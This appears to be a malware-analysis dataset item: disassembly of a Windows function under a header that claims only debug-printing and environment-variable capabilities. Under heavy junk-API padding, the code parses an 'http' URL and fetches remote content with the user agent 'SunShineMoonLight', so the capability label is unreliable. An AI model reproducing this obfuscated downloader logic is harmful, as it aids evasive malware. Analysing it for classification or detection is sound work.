Function at 0x40a4ac
Capabilities:
Print debug messages
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x908
push ebx
push esi
push edi
push str.SMPHR_zjfhidkj
push 1
push 0
push 0
mov ebx, ecx
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
lea eax, [ebp - 8]
push eax
push 0x20019
push 0
push str.regqpnqq1je
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.MTXc2sas6cf
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call edi
test esi, esi
je 0x40a520
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push str.log:_qfok84wq
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0xa
pop esi
push str.log:_zz1u3nds
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
sub esi, 1
jne 0x40a523
lea eax, [ebp - 0x2c4]
push eax
push str.s_zhlut3ux
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push str.WTMR_iw7npzuh
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
mov esi, eax
call edi
push esi
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push str.log:_faoljjvf
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.ev_19t9dr8n
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push str.WTMR_8l4osuoy
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
test eax, eax
je 0x40a5ad
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
jmp 0x40a5c8
lea eax, [ebp - 8]
push eax
push 0x20019
push 0
push str.regi16lwhmm
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0x117
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
lea eax, [ebp - 0x34]
push eax
push 0x20019
push 0
push str.regz2fgi12n
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push str.XMLqdesvuhr
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
xor eax, eax
push eax
push 0xc3b
push eax
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.muixk4no
push str.ney60gxu
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
lea eax, [ebp - 0x38]
push eax
push 0x20019
push 0
push str.regcdhzno3f
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.log:_8sf36jcw
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
and dword [ebp - 0x2c], 0
push 0xc350
push 0x40
call dword [0x41a04c]
push 0x18
push 0x40
mov dword [ebp - 0x18], eax
call dword [0x41a04c]
push 0x208
push 0x40
mov dword [ebp - 0xc], eax
call dword [0x41a04c]
cmp word [ebx], 0x68
mov dword [ebp - 0x24], eax
jne 0x40b327
push 0x74
pop eax
cmp word [ebx + 2], ax
jne 0x40b327
cmp word [ebx + 4], ax
jne 0x40b327
cmp word [ebx + 6], 0x70
jne 0x40b327
push dword [0x41a4d0]
movzx eax, word [ebx + 8]
push ebx
mov dword [ebp - 0x20], eax
call dword [0x41a190]
and dword [ebp - 0x14], 0
add eax, 6
push 0x2f
mov dword [ebp - 0x10], eax
xor cl, cl
pop edx
movzx eax, word [eax]
mov dword [ebp - 0x1c], edx
mov esi, eax
cmp ax, dx
je 0x40a733
mov ebx, dword [ebp - 0xc]
xor edx, edx
mov edi, dword [ebp - 0x14]
movzx eax, si
cmp eax, 0x3a
jne 0x40a707
mov cl, 1
jmp 0x40a71a
test cl, cl
jne 0x40a714
mov esi, dword [ebp - 0x24]
mov word [edx + esi], ax
jmp 0x40a71a
mov word [ebx], ax
add ebx, 2
mov eax, dword [ebp - 0x10]
inc edi
lea edx, [edi + edi]
movzx eax, word [edx + eax]
mov esi, eax
cmp ax, word [ebp - 0x1c]
jne 0x40a6fb
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 0x24]
call dword [0x41a090]
mov ebx, dword [ebp - 0xc]
mov esi, eax
push ebx
call dword [0x41a090]
add esi, eax
mov eax, dword [ebp - 0x10]
push ebx
lea eax, [eax + esi*2]
add eax, 2
mov dword [ebp - 0x14], eax
call dword [0x41a078]
push str.WTMR_8ejmzelp
push 1
push 0
mov dword [ebp - 0x1c], eax
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
mov esi, eax
push str.aqgwc76q
push str.laezcwsg
call ebx
test esi, esi
je 0x40a790
push esi
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
call edi
push str.MTXmy2z563v
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
test esi, esi
je 0x40a7c7
push str.8rmipirl
push str.3yjaixy8
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov ebx, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.log:_rt70h7k9
call ebx
jmp 0x40a7d9
push str.9xm34ih0
push str.x2609nci
call ebx
mov ebx, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.ev_3oiu5n6n
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
lea eax, [ebp - 0x404]
push eax
push str.s_u08efvx6
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0x42e
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
push str.SMPHR_xfe9i8t1
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
test eax, eax
je 0x40a862
lea eax, [ebp - 8]
push eax
push 0x20019
push 0
push str.regbvjsb4e8
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.WTMR_kzyatxr7
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
mov esi, eax
call edi
push esi
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
call edi
push 4
pop esi
lea eax, [ebp - 8]
push eax
push 0x20019
push 0
push str.regxl2v5pyk
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
sub esi, 1
jne 0x40a881
push str.XMLimucy1w0
push 1
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push esi
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push dword [ebp - 0xc]
call dword [0x41a0cc]
xor eax, eax
push eax
push eax
push eax
push eax
push 0xffffffffffffffff
push dword [ebp + 8]
push eax
push 0xfde9
call dword [0x41a0e8]
mov esi, eax
lea ecx, [esi + 0x40]
push ecx
push 0x40
call dword [0x41a04c]
mov dword [ebp - 0x10], eax
test esi, esi
je 0x40a90e
xor ecx, ecx
push ecx
push ecx
push esi
push eax
push 0xffffffffffffffff
push dword [ebp + 8]
push ecx
push 0xfde9
call dword [0x41a0e8]
test eax, eax
je 0x40b327
push str.MTXk62tzw84
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x40a92a
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
jmp 0x40a931
push str.log:_7g4vuw45
call ebx
push str.XMLe8vexfe1
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
call edi
xor eax, eax
push eax
push 0x784
push eax
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.WTMR_y1meaye3
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
mov esi, eax
call edi
push esi
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push 0x3cf
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 6
pop esi
call edi
sub esi, 1
jne 0x40a99b
push str.WTMR_tmsoxa6p
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
mov esi, eax
call edi
test esi, esi
je 0x40a9c1
push esi
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
call edi
push str.ev_6l7916f8
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push str.SMPHR_uar4jah8
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
mov esi, eax
call edi
push 0
push 1
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
test eax, eax
je 0x40aa23
lea eax, [ebp - 8]
push eax
push 0x20019
push 0
push str.regojwmyduw
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
jmp 0x40aa2a
push str.log:_pqsaqok4
call ebx
lea eax, [ebp - 0x544]
push eax
push str.s_5dqlbe0b
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
call edi
push str.log:_y4lo8du7
call ebx
push str.hivg1i39
push str.3kwje3g1
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
xor eax, eax
push eax
push eax
push eax
push eax
push str.SunShineMoonLight
call dword [0x41a12c]
mov dword [ebp - 8], eax
test eax, eax
je 0x40afa0
push 1
xor ecx, ecx
push ecx
push 3
push ecx
push ecx
push dword [ebp - 0x1c]
push dword [ebp - 0x24]
push eax
call dword [0x41a184]
mov dword [ebp - 0x1c], eax
test eax, eax
je 0x40ae5e
cmp word [ebp - 0x20], 0x73
mov edx, 0xc00000
push 1
mov ecx, 0x400000
cmove ecx, edx
push ecx
push dword [ebp + 0x10]
push 0
push 0
push dword [ebp - 0x14]
push dword [0x41a2a0]
push eax
call dword [0x41a0bc]
mov dword [ebp - 0xc], eax
test eax, eax
je 0x40ae55
xor eax, eax
push eax
push 0xec2
push eax
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push str.ev_rkylq5kx
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0x59d
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
push str.ogsy8htm
push str.5rwjegg8
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.MTXjpbrg5cp
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
test esi, esi
je 0x40ab62
push str.6gf0c7p6
push str.hcj4ub87
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
call edi
jmp 0x40ab69
push str.log:_y0fqgja2
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push str.XML9k4ciksa
push 1
push 0
push 0
call esi
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
lea eax, [ebp - 0x684]
push eax
push str.s_7w3zig8w
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
call edi
push str.SMPHR_xt2mns2f
push 1
push 0
push 0
call esi
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
test eax, eax
jne 0x40abd9
lea eax, [ebp - 0x20]
push eax
push 0x20019
push 0
push str.regoor85779
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.WTMR_whssgnos
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
mov esi, dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push eax
call esi
push str.WTMR_0zsxllqr
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
test eax, eax
je 0x40ac09
push eax
call esi
jmp 0x40ac0b
call edi
lea eax, [ebp - 0x3c]
push eax
push 0x20019
push 0
push str.regjeqs36pc
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push dword [ebp - 0x10]
call dword [0x41a19c]
push eax
push dword [ebp - 0x10]
push dword [ebp + 0xc]
call dword [0x41a090]
push eax
push dword [ebp + 0xc]
push dword [ebp - 0xc]
call dword [0x41a018]
test eax, eax
je 0x40ae4c
push str.WTMR_mwi047xv
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
test eax, eax
je 0x40ac82
push eax
call esi
lea eax, [ebp - 0x20]
push eax
push 0x20019
push 0
push str.regljhq84dz
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.SMPHR_cvhoto1l
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
mov esi, eax
call edi
push 0
push 1
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
test eax, eax
je 0x40acb6
push str.vle53dg0
push str.dg2z1u87
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.MTXgnewxu7q
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
lea eax, [ebp - 0x20]
push eax
push 0x20019
push 0
test esi, esi
je 0x40acef
push str.reg0l6pjsh1
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
jmp 0x40acff
push str.regibyf5cxg
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0x7c4]
push eax
push str.s_v6f2lz8o
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
push eax
push 0x7d0
push eax
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.log:_owu1zi0b
call ebx
push str.XMLlw01ftbv
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push str.tig4ouo9
push str.ouwdinci
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.WTMR_5hxskxnd
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
lea eax, [ebp - 0x40]
push eax
push 0x20019
push 0
push str.regjj529az8
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.ev_dupc1pgl
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0x96b
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push str.log:_sagwayc3
mov esi, eax
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push str.log:_ald705wz
call ebx
call edi
lea eax, [ebp - 0x30]
push eax
push 0x20019
push 0
push str.reg61m1cj7w
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.7xiyw07m
push str.kqnxha8d
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
mov esi, dword [ebp - 0xc]
lea eax, [ebp - 0x14]
push eax
push 0xc350
push dword [ebp - 0x18]
push esi
call dword [0x41a100]
test eax, eax
je 0x40ae4c
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x40ae46
mov byte [eax + edi], 0
lea eax, [ebp - 0x14]
push eax
push 0xc350
push edi
push esi
call dword [0x41a100]
test eax, eax
jne 0x40ae26
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 0xc]
call dword [0x41a06c]
push dword [ebp - 0x1c]
call dword [0x41a06c]
push str.MTX91d38t12
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x40ae88
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push str.zzxs0noz
push str.cx08vhtb
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
xor eax, eax
push eax
push 0xb6f
push eax
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push str.log:_d7shdkz7
mov esi, eax
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
lea eax, [ebp - 0x184]
push eax
push str.s_6liihxro
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push str.WTMR_uawr2ujs
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
call edi
mov esi, dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push str.XMLnyl4k8oe
push 1
push 0
push 0
call esi
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push str.log:_40yr1hom
call ebx
push str.SMPHR_hm4itenl
push 1
push 0
push 0
call esi
mov esi, eax
lea eax, [ebp - 0x28]
push eax
push 0x20019
push 0
push str.reg7s89j0k0
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0
push 1
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
test eax, eax
jne 0x40af44
push str.log:_23b06fr4
call ebx
push 0x2b
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
call edi
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
lea eax, [ebp - 0x30]
push eax
push 0x20019
push 0
push str.reg91m82aq2
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.WTMR_6um7w9g0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
test eax, eax
je 0x40af90
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
jmp 0x40af97
push str.log:_oloze2o6
call ebx
push dword [ebp - 8]
call dword [0x41a06c]
push str.WTMR_xgd7ya4p
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push str.9j0g4vfe
push str.krcfdimi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push esi
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push str.ev_4ztc7273
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push str.MTXq8xu73gs
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x40b005
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
jmp 0x40b007
call edi
push str.SMPHR_o73ud4vu
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
mov esi, eax
call edi
push 0
push 1
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
test eax, eax
jne 0x40b046
lea eax, [ebp - 0x28]
push eax
push 0x20019
push 0
push str.regnda1gvjy
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0x407
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push str.log:_t01gmh29
mov esi, eax
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push str.log:_gngkuh8u
call ebx
lea eax, [ebp - 0x904]
push eax
push str.s_0q6zu3ml
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push str.WTMR_yfnpx7bd
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
test eax, eax
je 0x40b0a6
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push str.log:_g6aqes1t
call ebx
jmp 0x40b0b6
push str.ikknosnl
push str.jzkswkg6
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.XMLj4ll2z9o
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push str.log:_bpw8taln
call ebx
xor eax, eax
push eax
push 0x55a
push eax
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov esi, eax
lea eax, [ebp - 0x44]
push eax
push 0x20019
push 0
push str.regvghclm6e
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 7
pop esi
call edi
sub esi, 1
jne 0x40b114
push esi
push esi
mov esi, dword [ebp - 0x18]
push esi
call dword [0x41a19c]
inc eax
push eax
push esi
push 0
push 0xfde9
call dword [0x41a0b0]
mov dword [ebp - 8], eax
test eax, eax
je 0x40b304
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0xa
pop edi
lea eax, [ebp - 0x28]
push eax
push 0x20019
push 0
push str.regt5xgbxql
push 0x80000001
call esi
sub edi, 1
jne 0x40b14b
push str.SMPHR_ujsn9y5a
push 1
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push edi
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x40b1a1
lea eax, [ebp - 0x28]
push eax
push 0x20019
push 0
push str.regkq3gh6dp
push 0x80000001
call esi
push str.ev_ambpk7fd
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
lea eax, [ebp - 0x184]
push eax
push str.s_tfode0i2
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push str.WTMR_daj98uev
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push str.log:_j9u53fyq
mov esi, eax
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push str.XMLb4332ykb
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push str.log:_eg541ci2
call ebx
push 0x416
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
push str.MTXbw1svf30
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
test esi, esi
je 0x40b253
call edi
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
call edi
jmp 0x40b26e
lea eax, [ebp - 0x28]
push eax
push 0x20019
push 0
push str.reg93qgwik8
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xor eax, eax
push eax
push 0xd30
push eax
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.log:_r1jbuuq2
call ebx
push str.WTMR_8neluj17
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
mov esi, eax
push str.qah7r2e1
push str.1wxy98xl
call ebx
test esi, esi
je 0x40b2ca
push esi
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push str.vyjt4wi7
push str.xukz17zz
call ebx
mov edi, dword [ebp - 8]
lea esi, [edi + edi]
push esi
push 0x40
call dword [0x41a04c]
mov ebx, dword [ebp - 0x18]
push edi
push eax
push ebx
mov dword [ebp - 0x2c], eax
call dword [0x41a19c]
inc eax
push eax
push ebx
push 0
push 0xfde9
call dword [0x41a0b0]
mov edi, dword [ebp - 0x2c]
xor eax, eax
mov word [esi + edi - 2], ax
jmp 0x40b30a
mov ebx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x2c]
push dword [ebp - 0x10]
call dword [0x41a0cc]
push dword [ebp - 0x24]
call dword [0x41a0cc]
push ebx
call dword [0x41a0cc]
mov eax, edi
jmp 0x40b329
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret